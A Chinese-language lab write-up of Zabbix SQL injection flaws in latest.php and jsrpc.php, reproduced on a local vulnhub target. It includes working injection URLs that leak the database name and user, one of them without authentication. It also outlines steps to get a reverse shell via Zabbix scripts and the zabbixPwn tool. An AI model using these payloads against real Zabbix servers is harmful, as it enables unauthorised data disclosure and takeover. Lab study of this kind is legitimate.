郑重声明:所用漏洞环境为自建虚拟机vulnhub靶机环境,仅供本人学习使用。
漏洞简述
zabbix是一款服务器监控软件,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。
(引用)2016年8月12日,1n3通过邮件披露了Zabbix软件的jsrpc.php文件在处理profileIdx2参数时存在insert方式的SQL注入漏洞,与官方通告的latest.php文件在处理toggle_ids参数时存在insert方式的SQL注入漏洞属于同一类型的漏洞,只是攻击的位置不同。
影响版本:2.0.5 2.0.13 2.2.x 2.4.2 2.4.5 2.4.7 2.4.8 2.5.0 3.0.0-3.0.3
准备环境
测试机IP:192.168.79.129
靶机IP:192.168.79.131
1. 启动Vulnhub靶机环境:
2. 验证靶机应用启用成功:
漏洞复现
注入点一:latest.php页面
前提条件:至少需要一个guest账户权限
1. 使用guest账户登录
2. 查看cookie,获取zbx_sessionid
3. 注入payload(sid取zbx_sessionid后16位):
http://192.168.79.131:8080/latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,database()),0)
http://192.168.79.131:8080/latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)
注入点二:jsrpc.php页面,无须登录
http://192.168.79.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,database()),0)
http://192.168.79.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)
扩展: Get Shell
前提条件:拥有Zabbix管理员权限
方法一:Script
1. 创建一个反弹script
2. 使用NC侦听反弹端口
3. 触发反弹
4. 得到反弹Shell
方法二:工具 zabbixPwn.py
引用:https://github.com/RicterZ/zabbixPwn
1. 运行
2. 登录Zabbix寻找到hostid:10084
3. 填写hostid,继续运行,成功执行命令
4. 使用NC侦听反弹端口
5. 执行反弹命令
6. 得到反弹Shell
针对Zabbix的攻击思路(引用来自作者:0xdf)
网友评论